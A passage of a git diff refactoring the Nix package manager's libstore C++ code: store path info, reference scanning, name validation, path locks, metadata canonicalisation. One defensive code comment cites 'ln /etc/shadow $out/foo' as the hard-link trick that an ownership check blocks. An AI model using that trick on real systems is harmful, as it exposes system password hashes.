UnkeyedValidPathInfo &) const noexcept; + + /** + * @todo return `std::strong_ordering` once `id` is removed + */ + std::weak_ordering operator <=> (const UnkeyedValidPathInfo &) const noexcept; + + virtual ~UnkeyedValidPathInfo() { } + + /** + * @param includeImpureInfo If true, variable elements such as the + * registration time are included. + */ + virtual nlohmann::json toJSON( + const Store & store, + bool includeImpureInfo, + HashFormat hashFormat) const; + static UnkeyedValidPathInfo fromJSON( + const Store & store, + const nlohmann::json & json); +}; + +struct ValidPathInfo : UnkeyedValidPathInfo { + StorePath path; + + bool operator == (const ValidPathInfo &) const = default; + auto operator <=> (const ValidPathInfo &) const = default; + + /** + * Return a fingerprint of the store path to be used in binary + * cache signatures. It contains the store path, the base-32 + * SHA-256 hash of the NAR serialisation of the path, the size of + * the NAR, and the sorted references. The size field is strictly + * speaking superfluous, but might prevent endless/excessive data + * attacks. + */ std::string fingerprint(const Store & store) const; - void sign(const Store & store, const SecretKey & secretKey); + void sign(const Store & store, const Signer & signer); - /* Return true iff the path is verifiably content-addressed. */ + /** + * @return The `ContentAddressWithReferences` that determines the + * store path for a content-addressed store object, `std::nullopt` + * for an input-addressed store object. + */ + std::optional contentAddressWithReferences() const; + + /** + * @return true iff the path is verifiably content-addressed. + */ bool isContentAddressed(const Store & store) const; - /* Functions to view references + hasSelfReference as one set, mainly for - compatibility's sake. */ - StorePathSet referencesPossiblyToSelf() const; - void insertReferencePossiblyToSelf(StorePath && ref); - void setReferencesPossiblyToSelf(StorePathSet && refs); - static const size_t maxSigs = std::numeric_limits::max(); - /* Return the number of signatures on this .narinfo that were - produced by one of the specified keys, or maxSigs if the path - is content-addressed. */ + /** + * Return the number of signatures on this .narinfo that were + * produced by one of the specified keys, or maxSigs if the path + * is content-addressed. + */ size_t checkSignatures(const Store & store, const PublicKeys & publicKeys) const; - /* Verify a single signature. */ + /** + * Verify a single signature. + */ bool checkSignature(const Store & store, const PublicKeys & publicKeys, const std::string & sig) const; + /** + * References as store path basenames, including a self reference if it has one. + */ Strings shortRefs() const; ValidPathInfo(const ValidPathInfo & other) = default; - ValidPathInfo(StorePath && path, Hash narHash) : path(std::move(path)), narHash(narHash) { }; - ValidPathInfo(const StorePath & path, Hash narHash) : path(path), narHash(narHash) { }; + ValidPathInfo(StorePath && path, UnkeyedValidPathInfo info) : UnkeyedValidPathInfo(info), path(std::move(path)) { }; + ValidPathInfo(const StorePath & path, UnkeyedValidPathInfo info) : UnkeyedValidPathInfo(info), path(path) { }; + + ValidPathInfo(const Store & store, + std::string_view name, ContentAddressWithReferences && ca, Hash narHash); virtual ~ValidPathInfo() { } - - static ValidPathInfo read(Source & source, const Store & store, unsigned int format); - static ValidPathInfo read(Source & source, const Store & store, unsigned int format, StorePath && path); - - void write(Sink & sink, const Store & store, unsigned int format, bool includePath = true) const; }; -typedef std::map ValidPathInfos; +using ValidPathInfos = std::map; } diff --git a/src/libstore/path-references.cc b/src/libstore/path-references.cc new file mode 100644 index 000000000..15f52ec9d --- /dev/null +++ b/src/libstore/path-references.cc @@ -0,0 +1,72 @@ +#include "path-references.hh" +#include "hash.hh" +#include "archive.hh" + +#include +#include +#include +#include + + +namespace nix { + + +PathRefScanSink::PathRefScanSink(StringSet && hashes, std::map && backMap) + : RefScanSink(std::move(hashes)) + , backMap(std::move(backMap)) +{ } + +PathRefScanSink PathRefScanSink::fromPaths(const StorePathSet & refs) +{ + StringSet hashes; + std::map backMap; + + for (auto & i : refs) { + std::string hashPart(i.hashPart()); + auto inserted = backMap.emplace(hashPart, i).second; + assert(inserted); + hashes.insert(hashPart); + } + + return PathRefScanSink(std::move(hashes), std::move(backMap)); +} + +StorePathSet PathRefScanSink::getResultPaths() +{ + /* Map the hashes found back to their store paths. */ + StorePathSet found; + for (auto & i : getResult()) { + auto j = backMap.find(i); + assert(j != backMap.end()); + found.insert(j->second); + } + + return found; +} + + +std::pair scanForReferences( + const std::string & path, + const StorePathSet & refs) +{ + HashSink hashSink { HashAlgorithm::SHA256 }; + auto found = scanForReferences(hashSink, path, refs); + auto hash = hashSink.finish(); + return std::pair(found, hash); +} + +StorePathSet scanForReferences( + Sink & toTee, + const Path & path, + const StorePathSet & refs) +{ + PathRefScanSink refsSink = PathRefScanSink::fromPaths(refs); + TeeSink sink { refsSink, toTee }; + + /* Look for the hashes in the NAR dump of the path. */ + dumpPath(path, sink); + + return refsSink.getResultPaths(); +} + +} diff --git a/src/libstore/path-references.hh b/src/libstore/path-references.hh new file mode 100644 index 000000000..0553003f8 --- /dev/null +++ b/src/libstore/path-references.hh @@ -0,0 +1,26 @@ +#pragma once +///@file + +#include "references.hh" +#include "path.hh" + +namespace nix { + +std::pair scanForReferences(const Path & path, const StorePathSet & refs); + +StorePathSet scanForReferences(Sink & toTee, const Path & path, const StorePathSet & refs); + +class PathRefScanSink : public RefScanSink +{ + std::map backMap; + + PathRefScanSink(StringSet && hashes, std::map && backMap); + +public: + + static PathRefScanSink fromPaths(const StorePathSet & refs); + + StorePathSet getResultPaths(); +}; + +} diff --git a/src/libstore/path-regex.hh b/src/libstore/path-regex.hh new file mode 100644 index 000000000..56c2cfc1d --- /dev/null +++ b/src/libstore/path-regex.hh @@ -0,0 +1,13 @@ +#pragma once +///@file + +namespace nix { + + +static constexpr std::string_view nameRegexStr = + // This uses a negative lookahead: (?!\.\.?(-|$)) + // - deny ".", "..", or those strings followed by '-' + // - when it's not those, start again at the start of the input and apply the next regex, which is [0-9a-zA-Z\+\-\._\?=]+ + R"((?!\.\.?(-|$))[0-9a-zA-Z\+\-\._\?=]+)"; + +} diff --git a/src/libstore/path-with-outputs.cc b/src/libstore/path-with-outputs.cc index d6d67ea05..161d023d1 100644 --- a/src/libstore/path-with-outputs.cc +++ b/src/libstore/path-with-outputs.cc @@ -1,12 +1,13 @@ +#include + #include "path-with-outputs.hh" #include "store-api.hh" -#include "nlohmann/json.hpp" +#include "strings.hh" -#include namespace nix { -std::string StorePathWithOutputs::to_string(const Store & store) const +std::string StorePathWithOutputs::to_string(const StoreDirConfig & store) const { return outputs.empty() ? store.printStorePath(path) @@ -16,10 +17,20 @@ std::string StorePathWithOutputs::to_string(const Store & store) const DerivedPath StorePathWithOutputs::toDerivedPath() const { - if (!outputs.empty() || path.isDerivation()) - return DerivedPath::Built { path, outputs }; - else + if (!outputs.empty()) { + return DerivedPath::Built { + .drvPath = makeConstantStorePathRef(path), + .outputs = OutputsSpec::Names { outputs }, + }; + } else if (path.isDerivation()) { + assert(outputs.empty()); + return DerivedPath::Built { + .drvPath = makeConstantStorePathRef(path), + .outputs = OutputsSpec::All { }, + }; + } else { return DerivedPath::Opaque { path }; + } } @@ -31,18 +42,36 @@ std::vector toDerivedPaths(const std::vector } -std::variant StorePathWithOutputs::tryFromDerivedPath(const DerivedPath & p) +StorePathWithOutputs::ParseResult StorePathWithOutputs::tryFromDerivedPath(const DerivedPath & p) { return std::visit(overloaded { - [&](const DerivedPath::Opaque & bo) -> std::variant { + [&](const DerivedPath::Opaque & bo) -> StorePathWithOutputs::ParseResult { if (bo.path.isDerivation()) { // drv path gets interpreted as "build", not "get drv file itself" return bo.path; } return StorePathWithOutputs { bo.path }; }, - [&](const DerivedPath::Built & bfd) -> std::variant { - return StorePathWithOutputs { bfd.drvPath, bfd.outputs }; + [&](const DerivedPath::Built & bfd) -> StorePathWithOutputs::ParseResult { + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & bo) -> StorePathWithOutputs::ParseResult { + return StorePathWithOutputs { + .path = bo.path, + // Use legacy encoding of wildcard as empty set + .outputs = std::visit(overloaded { + [&](const OutputsSpec::All &) -> StringSet { + return {}; + }, + [&](const OutputsSpec::Names & outputs) { + return static_cast(outputs); + }, + }, bfd.outputs.raw), + }; + }, + [&](const SingleDerivedPath::Built &) -> StorePathWithOutputs::ParseResult { + return std::monostate {}; + }, + }, bfd.drvPath->raw()); }, }, p.raw()); } @@ -53,12 +82,12 @@ std::pair parsePathWithOutputs(std::string_view s) size_t n = s.find("!"); return n == s.npos ? std::make_pair(s, std::set()) - : std::make_pair(((std::string_view) s).substr(0, n), - tokenizeString>(((std::string_view) s).substr(n + 1), ",")); + : std::make_pair(s.substr(0, n), + tokenizeString>(s.substr(n + 1), ",")); } -StorePathWithOutputs parsePathWithOutputs(const Store & store, std::string_view pathWithOutputs) +StorePathWithOutputs parsePathWithOutputs(const StoreDirConfig & store, std::string_view pathWithOutputs) { auto [path, outputs] = parsePathWithOutputs(pathWithOutputs); return StorePathWithOutputs { store.parseStorePath(path), std::move(outputs) }; @@ -71,57 +100,4 @@ StorePathWithOutputs followLinksToStorePathWithOutputs(const Store & store, std: return StorePathWithOutputs { store.followLinksToStorePath(path), std::move(outputs) }; } -std::pair parseOutputsSpec(const std::string & s) -{ - static std::regex regex(R"((.*)\^((\*)|([a-z]+(,[a-z]+)*)))"); - - std::smatch match; - if (!std::regex_match(s, match, regex)) - return {s, DefaultOutputs()}; - - if (match[3].matched) - return {match[1], AllOutputs()}; - - return {match[1], tokenizeString(match[4].str(), ",")}; -} - -std::string printOutputsSpec(const OutputsSpec & outputsSpec) -{ - if (std::get_if(&outputsSpec)) - return ""; - - if (std::get_if(&outputsSpec)) - return "^*"; - - if (auto outputNames = std::get_if(&outputsSpec)) - return "^" + concatStringsSep(",", *outputNames); - - assert(false); -} - -void to_json(nlohmann::json & json, const OutputsSpec & outputsSpec) -{ - if (std::get_if(&outputsSpec)) - json = nullptr; - - else if (std::get_if(&outputsSpec)) - json = std::vector({"*"}); - - else if (auto outputNames = std::get_if(&outputsSpec)) - json = *outputNames; -} - -void from_json(const nlohmann::json & json, OutputsSpec & outputsSpec) -{ - if (json.is_null()) - outputsSpec = DefaultOutputs(); - else { - auto names = json.get(); - if (names == OutputNames({"*"})) - outputsSpec = AllOutputs(); - else - outputsSpec = names; - } -} - } diff --git a/src/libstore/path-with-outputs.hh b/src/libstore/path-with-outputs.hh index 0cb5eb223..5f76a583a 100644 --- a/src/libstore/path-with-outputs.hh +++ b/src/libstore/path-with-outputs.hh @@ -1,57 +1,48 @@ #pragma once - -#include +///@file #include "path.hh" #include "derived-path.hh" -#include "nlohmann/json_fwd.hpp" namespace nix { +struct StoreDirConfig; + +/** + * This is a deprecated old type just for use by the old CLI, and older + * versions of the RPC protocols. In new code don't use it; you want + * `DerivedPath` instead. + * + * `DerivedPath` is better because it handles more cases, and does so more + * explicitly without devious punning tricks. + */ struct StorePathWithOutputs { StorePath path; std::set outputs; - std::string to_string(const Store & store) const; + std::string to_string(const StoreDirConfig & store) const; DerivedPath toDerivedPath() const; - static std::variant tryFromDerivedPath(const DerivedPath &); + typedef std::variant ParseResult; + + static StorePathWithOutputs::ParseResult tryFromDerivedPath(const DerivedPath &); }; std::vector toDerivedPaths(const std::vector); std::pair parsePathWithOutputs(std::string_view s); -class Store; +/** + * Split a string specifying a derivation and a set of outputs + * (/nix/store/hash-foo!out1,out2,...) into the derivation path + * and the outputs. + */ +StorePathWithOutputs parsePathWithOutputs(const StoreDirConfig & store, std::string_view pathWithOutputs); -/* Split a string specifying a derivation and a set of outputs - (/nix/store/hash-foo!out1,out2,...) into the derivation path - and the outputs. */ -StorePathWithOutputs parsePathWithOutputs(const Store & store, std::string_view pathWithOutputs); +class Store; StorePathWithOutputs followLinksToStorePathWithOutputs(const Store & store, std::string_view pathWithOutputs); -typedef std::set OutputNames; - -struct AllOutputs { - bool operator < (const AllOutputs & _) const { return false; } -}; - -struct DefaultOutputs { - bool operator < (const DefaultOutputs & _) const { return false; } -}; - -typedef std::variant OutputsSpec; - -/* Parse a string of the form 'prefix^output1,...outputN' or - 'prefix^*', returning the prefix and the outputs spec. */ -std::pair parseOutputsSpec(const std::string & s); - -std::string printOutputsSpec(const OutputsSpec & outputsSpec); - -void to_json(nlohmann::json &, const OutputsSpec &); -void from_json(const nlohmann::json &, OutputsSpec &); - } diff --git a/src/libstore/path.cc b/src/libstore/path.cc index 392db225e..3e9d05477 100644 --- a/src/libstore/path.cc +++ b/src/libstore/path.cc @@ -1,21 +1,42 @@ -#include "store-api.hh" - -#include +#include "store-dir-config.hh" namespace nix { -static void checkName(std::string_view path, std::string_view name) +void checkName(std::string_view name) { if (name.empty()) - throw BadStorePath("store path '%s' has an empty name", path); - if (name.size() > 211) - throw BadStorePath("store path '%s' has a name longer than 211 characters", path); + throw BadStorePathName("name must not be empty"); + if (name.size() > StorePath::MaxPathLen) + throw BadStorePathName("name '%s' must be no longer than %d characters", name, StorePath::MaxPathLen); + // See nameRegexStr for the definition + if (name[0] == '.') { + // check against "." and "..", followed by end or dash + if (name.size() == 1) + throw BadStorePathName("name '%s' is not valid", name); + if (name[1] == '-') + throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, "."); + if (name[1] == '.') { + if (name.size() == 2) + throw BadStorePathName("name '%s' is not valid", name); + if (name[2] == '-') + throw BadStorePathName("name '%s' is not valid: first dash-separated component must not be '%s'", name, ".."); + } + } for (auto c : name) if (!((c >= '0' && c <= '9') || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '+' || c == '-' || c == '.' || c == '_' || c == '?' || c == '=')) - throw BadStorePath("store path '%s' contains illegal character '%s'", path, c); + throw BadStorePathName("name '%s' contains illegal character '%s'", name, c); +} + +static void checkPathName(std::string_view path, std::string_view name) +{ + try { + checkName(name); + } catch (BadStorePathName & e) { + throw BadStorePath("path '%s' is not a valid store path: %s", path, Uncolored(e.message())); + } } StorePath::StorePath(std::string_view _baseName) @@ -27,38 +48,53 @@ StorePath::StorePath(std::string_view _baseName) if (c == 'e' || c == 'o' || c == 'u' || c == 't' || !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'z'))) throw BadStorePath("store path '%s' contains illegal base-32 character '%s'", baseName, c); - checkName(baseName, name()); + checkPathName(baseName, name()); } StorePath::StorePath(const Hash & hash, std::string_view _name) - : baseName((hash.to_string(Base32, false) + "-").append(std::string(_name))) + : baseName((hash.to_string(HashFormat::Nix32, false) + "-").append(std::string(_name))) { - checkName(baseName, name()); + checkPathName(baseName, name()); } -bool StorePath::isDerivation() const +bool StorePath::isDerivation() const noexcept { return hasSuffix(name(), drvExtension); } +void StorePath::requireDerivation() const +{ + if (!isDerivation()) + throw FormatError("store path '%s' is not a valid derivation path", to_string()); +} + StorePath StorePath::dummy("ffffffffffffffffffffffffffffffff-x"); StorePath StorePath::random(std::string_view name) { - Hash hash(htSHA1); - randombytes_buf(hash.hash, hash.hashSize); - return StorePath(hash, name); + return StorePath(Hash::random(HashAlgorithm::SHA1), name); } -StorePath Store::parseStorePath(std::string_view path) const +StorePath StoreDirConfig::parseStorePath(std::string_view path) const { - auto p = canonPath(std::string(path)); + // On Windows, `/nix/store` is not a canonical path. More broadly it + // is unclear whether this function should be using the native + // notion of a canonical path at all. For example, it makes to + // support remote stores whose store dir is a non-native path (e.g. + // Windows <-> Unix ssh-ing). + auto p = +#ifdef _WIN32 + path +#else + canonPath(std::string(path)) +#endif + ; if (dirOf(p) != storeDir) throw BadStorePath("path '%s' is not in the Nix store", p); return StorePath(baseNameOf(p)); } -std::optional Store::maybeParseStorePath(std::string_view path) const +std::optional StoreDirConfig::maybeParseStorePath(std::string_view path) const { try { return parseStorePath(path); @@ -67,24 +103,24 @@ std::optional Store::maybeParseStorePath(std::string_view path) const } } -bool Store::isStorePath(std::string_view path) const +bool StoreDirConfig::isStorePath(std::string_view path) const { return (bool) maybeParseStorePath(path); } -StorePathSet Store::parseStorePathSet(const PathSet & paths) const +StorePathSet StoreDirConfig::parseStorePathSet(const PathSet & paths) const { StorePathSet res; for (auto & i : paths) res.insert(parseStorePath(i)); return res; } -std::string Store::printStorePath(const StorePath & path) const +std::string StoreDirConfig::printStorePath(const StorePath & path) const { return (storeDir + "/").append(path.to_string()); } -PathSet Store::printStorePathSet(const StorePathSet & paths) const +PathSet StoreDirConfig::printStorePathSet(const StorePathSet & paths) const { PathSet res; for (auto & i : paths) res.insert(printStorePath(i)); diff --git a/src/libstore/path.hh b/src/libstore/path.hh index 77fd0f8dc..2380dc6a2 100644 --- a/src/libstore/path.hh +++ b/src/libstore/path.hh @@ -1,51 +1,66 @@ #pragma once +///@file + +#include -#include "content-address.hh" #include "types.hh" namespace nix { -class Store; struct Hash; +/** + * Check whether a name is a valid store path name. + * + * @throws BadStorePathName if the name is invalid. The message is of the format "name %s is not valid, for this specific reason". + */ +void checkName(std::string_view name); + +/** + * \ref StorePath "Store path" is the fundamental reference type of Nix. + * A store paths refers to a Store object. + * + * See store/store-path.html for more information on a + * conceptual level. + */ class StorePath { std::string baseName; public: - /* Size of the hash part of store paths, in base-32 characters. */ + /** + * Size of the hash part of store paths, in base-32 characters. + */ constexpr static size_t HashLen = 32; // i.e. 160 bits + constexpr static size_t MaxPathLen = 211; + StorePath() = delete; + /** @throws BadStorePath */ StorePath(std::string_view baseName); + /** @throws BadStorePath */ StorePath(const Hash & hash, std::string_view name); - std::string_view to_string() const + std::string_view to_string() const noexcept { return baseName; } - bool operator < (const StorePath & other) const - { - return baseName < other.baseName; - } + bool operator == (const StorePath & other) const noexcept = default; + auto operator <=> (const StorePath & other) const noexcept = default; - bool operator == (const StorePath & other) const - { - return baseName == other.baseName; - } + /** + * Check whether a file name ends with the extension for derivations. + */ + bool isDerivation() const noexcept; - bool operator != (const StorePath & other) const - { - return baseName != other.baseName; - } - - /* Check whether a file name ends with the extension for - derivations. */ - bool isDerivation() const; + /** + * Throw an exception if `isDerivation` is false. + */ + void requireDerivation() const; std::string_view name() const { @@ -64,12 +79,12 @@ public: typedef std::set StorePathSet; typedef std::vector StorePaths; -typedef std::map OutputPathMap; -typedef std::map> StorePathCAMap; - -/* Extension of derivations in the Nix store. */ -const std::string drvExtension = ".drv"; +/** + * The file extension of \ref Derivation derivations when serialized + * into store objects. + */ +constexpr std::string_view drvExtension = ".drv"; } diff --git a/src/libstore/pathlocks.cc b/src/libstore/pathlocks.cc index 42023cd0a..37793db5b 100644 --- a/src/libstore/pathlocks.cc +++ b/src/libstore/pathlocks.cc @@ -1,73 +1,14 @@ #include "pathlocks.hh" #include "util.hh" #include "sync.hh" +#include "signals.hh" #include #include -#include -#include -#include -#include - namespace nix { - -AutoCloseFD openLockFile(const Path & path, bool create) -{ - AutoCloseFD fd; - - fd = open(path.c_str(), O_CLOEXEC | O_RDWR | (create ? O_CREAT : 0), 0600); - if (!fd && (create || errno != ENOENT)) - throw SysError("opening lock file '%1%'", path); - - return fd; -} - - -void deleteLockFile(const Path & path, int fd) -{ - /* Get rid of the lock file. Have to be careful not to introduce - races. Write a (meaningless) token to the file to indicate to - other processes waiting on this lock that the lock is stale - (deleted). */ - unlink(path.c_str()); - writeFull(fd, "d"); - /* Note that the result of unlink() is ignored; removing the lock - file is an optimisation, not a necessity. */ -} - - -bool lockFile(int fd, LockType lockType, bool wait) -{ - int type; - if (lockType == ltRead) type = LOCK_SH; - else if (lockType == ltWrite) type = LOCK_EX; - else if (lockType == ltNone) type = LOCK_UN; - else abort(); - - if (wait) { - while (flock(fd, type) != 0) { - checkInterrupt(); - if (errno != EINTR) - throw SysError("acquiring/releasing lock"); - else - return false; - } - } else { - while (flock(fd, type | LOCK_NB) != 0) { - checkInterrupt(); - if (errno == EWOULDBLOCK) return false; - if (errno != EINTR) - throw SysError("acquiring/releasing lock"); - } - } - - return true; -} - - PathLocks::PathLocks() : deletePaths(false) { @@ -81,68 +22,6 @@ PathLocks::PathLocks(const PathSet & paths, const std::string & waitMsg) } -bool PathLocks::lockPaths(const PathSet & paths, - const std::string & waitMsg, bool wait) -{ - assert(fds.empty()); - - /* Note that `fds' is built incrementally so that the destructor - will only release those locks that we have already acquired. */ - - /* Acquire the lock for each path in sorted order. This ensures - that locks are always acquired in the same order, thus - preventing deadlocks. */ - for (auto & path : paths) { - checkInterrupt(); - Path lockPath = path + ".lock"; - - debug(format("locking path '%1%'") % path); - - AutoCloseFD fd; - - while (1) { - - /* Open/create the lock file. */ - fd = openLockFile(lockPath, true); - - /* Acquire an exclusive lock. */ - if (!lockFile(fd.get(), ltWrite, false)) { - if (wait) { - if (waitMsg != "") printError(waitMsg); - lockFile(fd.get(), ltWrite, true); - } else { - /* Failed to lock this path; release all other - locks. */ - unlock(); - return false; - } - } - - debug(format("lock acquired on '%1%'") % lockPath); - - /* Check that the lock file hasn't become stale (i.e., - hasn't been unlinked). */ - struct stat st; - if (fstat(fd.get(), &st) == -1) - throw SysError("statting lock file '%1%'", lockPath); - if (st.st_size != 0) - /* This lock file has been unlinked, so we're holding - a lock on a deleted file. This means that other - processes may create and acquire a lock on - `lockPath', and proceed. So we must retry. */ - debug(format("open lock file '%1%' has become stale") % lockPath); - else - break; - } - - /* Use borrow so that the descriptor isn't closed. */ - fds.push_back(FDPair(fd.release(), lockPath)); - } - - return true; -} - - PathLocks::~PathLocks() { try { @@ -153,40 +32,10 @@ PathLocks::~PathLocks() } -void PathLocks::unlock() -{ - for (auto & i : fds) { - if (deletePaths) deleteLockFile(i.second, i.first); - - if (close(i.first) == -1) - printError( - "error (ignored): cannot close lock file on '%1%'", - i.second); - - debug(format("lock released on '%1%'") % i.second); - } - - fds.clear(); -} - - void PathLocks::setDeletion(bool deletePaths) { this->deletePaths = deletePaths; } -FdLock::FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg) - : fd(fd) -{ - if (wait) { - if (!lockFile(fd, lockType, false)) { - printInfo("%s", waitMsg); - acquired = lockFile(fd, lockType, true); - } - } else - acquired = lockFile(fd, lockType, false); -} - - } diff --git a/src/libstore/pathlocks.hh b/src/libstore/pathlocks.hh index 5e3a734b4..42a84a1a3 100644 --- a/src/libstore/pathlocks.hh +++ b/src/libstore/pathlocks.hh @@ -1,25 +1,30 @@ #pragma once +///@file -#include "util.hh" +#include "file-descriptor.hh" namespace nix { -/* Open (possibly create) a lock file and return the file descriptor. - -1 is returned if create is false and the lock could not be opened - because it doesn't exist. Any other error throws an exception. */ +/** + * Open (possibly create) a lock file and return the file descriptor. + * -1 is returned if create is false and the lock could not be opened + * because it doesn't exist. Any other error throws an exception. + */ AutoCloseFD openLockFile(const Path & path, bool create); -/* Delete an open lock file. */ -void deleteLockFile(const Path & path, int fd); +/** + * Delete an open lock file. + */ +void deleteLockFile(const Path & path, Descriptor desc); enum LockType { ltRead, ltWrite, ltNone }; -bool lockFile(int fd, LockType lockType, bool wait); +bool lockFile(Descriptor desc, LockType lockType, bool wait); class PathLocks { private: - typedef std::pair FDPair; + typedef std::pair FDPair; std::list fds; bool deletePaths; @@ -37,15 +42,15 @@ public: struct FdLock { - int fd; + Descriptor desc; bool acquired = false; - FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg); + FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg); ~FdLock() { if (acquired) - lockFile(fd, ltNone, false); + lockFile(desc, ltNone, false); } }; diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc new file mode 100644 index 000000000..46a78cc86 --- /dev/null +++ b/src/libstore/posix-fs-canonicalise.cc @@ -0,0 +1,192 @@ +#if HAVE_ACL_SUPPORT +# include +#endif + +#include "posix-fs-canonicalise.hh" +#include "file-system.hh" +#include "signals.hh" +#include "util.hh" +#include "globals.hh" +#include "store-api.hh" + +namespace nix { + +const time_t mtimeStore = 1; /* 1 second into the epoch */ + + +static void canonicaliseTimestampAndPermissions(const Path & path, const struct stat & st) +{ + if (!S_ISLNK(st.st_mode)) { + + /* Mask out all type related bits. */ + mode_t mode = st.st_mode & ~S_IFMT; + + if (mode != 0444 && mode != 0555) { + mode = (st.st_mode & S_IFMT) + | 0444 + | (st.st_mode & S_IXUSR ? 0111 : 0); + if (chmod(path.c_str(), mode) == -1) + throw SysError("changing mode of '%1%' to %2$o", path, mode); + } + + } + +#ifndef _WIN32 // TODO implement + if (st.st_mtime != mtimeStore) { + struct stat st2 = st; + st2.st_mtime = mtimeStore, + setWriteTime(path, st2); + } +#endif +} + + +void canonicaliseTimestampAndPermissions(const Path & path) +{ + canonicaliseTimestampAndPermissions(path, lstat(path)); +} + + +static void canonicalisePathMetaData_( + const Path & path, +#ifndef _WIN32 + std::optional> uidRange, +#endif + InodesSeen & inodesSeen) +{ + checkInterrupt(); + +#if __APPLE__ + /* Remove flags, in particular UF_IMMUTABLE which would prevent + the file from being garbage-collected. FIXME: Use + setattrlist() to remove other attributes as well. */ + if (lchflags(path.c_str(), 0)) { + if (errno != ENOTSUP) + throw SysError("clearing flags of path '%1%'", path); + } +#endif + + auto st = lstat(path); + + /* Really make sure that the path is of a supported type. */ + if (!(S_ISREG(st.st_mode) || S_ISDIR(st.st_mode) || S_ISLNK(st.st_mode))) + throw Error("file '%1%' has an unsupported type", path); + +#if HAVE_ACL_SUPPORT + /* Remove extended attributes / ACLs. */ + ssize_t eaSize = llistxattr(path.c_str(), nullptr, 0); + + if (eaSize < 0) { + if (errno != ENOTSUP && errno != ENODATA) + throw SysError("querying extended attributes of '%s'", path); + } else if (eaSize > 0) { + std::vector eaBuf(eaSize); + + if ((eaSize = llistxattr(path.c_str(), eaBuf.data(), eaBuf.size())) < 0) + throw SysError("querying extended attributes of '%s'", path); + + for (auto & eaName: tokenizeString(std::string(eaBuf.data(), eaSize), std::string("\000", 1))) { + if (settings.ignoredAcls.get().count(eaName)) continue; + if (lremovexattr(path.c_str(), eaName.c_str()) == -1) + throw SysError("removing extended attribute '%s' from '%s'", eaName, path); + } + } +#endif + +#ifndef _WIN32 + /* Fail if the file is not owned by the build user. This prevents + us from messing up the ownership/permissions of files + hard-linked into the output (e.g. "ln /etc/shadow $out/foo"). + However, ignore files that we chown'ed ourselves previously to + ensure that we don't fail on hard links within the same build + (i.e. "touch $out/foo; ln $out/foo $out/bar"). */ + if (uidRange && (st.st_uid < uidRange->first || st.st_uid > uidRange->second)) { + if (S_ISDIR(st.st_mode) || !inodesSeen.count(Inode(st.st_dev, st.st_ino))) + throw BuildError("invalid ownership on file '%1%'", path); + mode_t mode = st.st_mode & ~S_IFMT; + assert(S_ISLNK(st.st_mode) || (st.st_uid == geteuid() && (mode == 0444 || mode == 0555) && st.st_mtime == mtimeStore)); + return; + } +#endif + + inodesSeen.insert(Inode(st.st_dev, st.st_ino)); + + canonicaliseTimestampAndPermissions(path, st); + +#ifndef _WIN32 + /* Change ownership to the current uid. If it's a symlink, use + lchown if available, otherwise don't bother. Wrong ownership + of a symlink doesn't matter, since the owning user can't change + the symlink and can't delete it because the directory is not + writable. The only exception is top-level paths in the Nix + store (since that directory is group-writable for the Nix build + users group); we check for this case below. */ + if (st.st_uid != geteuid()) { +#if HAVE_LCHOWN + if (lchown(path.c_str(), geteuid(), getegid()) == -1) +#else + if (!S_ISLNK(st.st_mode) && + chown(path.c_str(), geteuid(), getegid()) == -1) +#endif + throw SysError("changing owner of '%1%' to %2%", + path, geteuid()); + } +#endif + + if (S_ISDIR(st.st_mode)) { + for (auto & i : std::filesystem::directory_iterator{path}) { + checkInterrupt(); + canonicalisePathMetaData_( + i.path().string(), +#ifndef _WIN32 + uidRange, +#endif + inodesSeen); + } + } +} + + +void canonicalisePathMetaData( + const Path & path, +#ifndef _WIN32 + std::optional> uidRange, +#endif + InodesSeen & inodesSeen) +{ + canonicalisePathMetaData_( + path, +#ifndef _WIN32 + uidRange, +#endif + inodesSeen); + +#ifndef _WIN32 + /* On platforms that don't have lchown(), the top-level path can't + be a symlink, since we can't change its ownership. */ + auto st = lstat(path); + + if (st.st_uid != geteuid()) { + assert(S_ISLNK(st.st_mode)); + throw Error("wrong ownership of top-level store path '%1%'", path); + } +#endif +} + + +void canonicalisePathMetaData(const Path & path +#ifndef _WIN32 + , std::optional> uidRange +#endif + ) +{ + InodesSeen inodesSeen; + canonicalisePathMetaData_( + path, +#ifndef _WIN32 + uidRange, +#endif + inodesSeen); +} + +} diff --git a/src/libstore/posix-fs-canonicalise.hh b/src/libstore/posix-fs-canonicalise.hh new file mode 100644 index 000000000..45a4f3f20 --- /dev/null +++ b/src/libstore/posix-fs-canonicalise.hh @@ -0,0 +1,51 @@ +#pragma once +///@file + +#include +#include + +#include "types.hh" +#include "error.hh" + +namespace nix { + +typedef std::pair Inode; +typedef std::set InodesSeen; + + +/** + * "Fix", or canonicalise, the meta-data of the files in a store path + * after it has been built. In particular: + * + * - the last modification date on each file is set to 1 (i.e., + * 00:00:01 1/1/1970 UTC) + * + * - the permissions are set of 444 or 555 (i.e., read-only with or + * without execute permission; setuid bits etc. are cleared) + * + * - the owner and group are set to the Nix user and group, if we're + * running as root. (Unix only.) + * + * If uidRange is not empty, this function will throw an error if it + * encounters files owned by a user outside of the closed interval + * [uidRange->first, uidRange->second]. + */ +void canonicalisePathMetaData( + const Path & path, +#ifndef _WIN32 + std::optional> uidRange, +#endif + InodesSeen & inodesSeen); + +void canonicalisePathMetaData( + const Path & path +#ifndef _WIN32 + , std::optional> uidRange = std::nullopt +#endif + ); + +void canonicaliseTimestampAndPermissions(const Path & path); + +MakeError(PathInUse, Error); + +} diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc index 3e4188188..46efedfe3 100644 --- a/src/libstore/profiles.cc +++ b/src/libstore/profiles.cc @@ -1,7 +1,8 @@ #include "profiles.hh" +#include "signals.hh" #include "store-api.hh" #include "local-fs-store.hh" -#include "util.hh" +#include "users.hh" #include #include @@ -13,8 +14,10 @@ namespace nix { -/* Parse a generation name of the format - `--link'. */ +/** + * Parse a generation name of the format + * `--link'. + */ static std::optional parseName(const std::string & profileName, const std::string & name) { if (name.substr(0, profileName.size() + 1) != profileName + "-") return {}; @@ -28,17 +31,17 @@ static std::optional parseName(const std::string & profileName } - std::pair> findGenerations(Path profile) { Generations gens; - Path 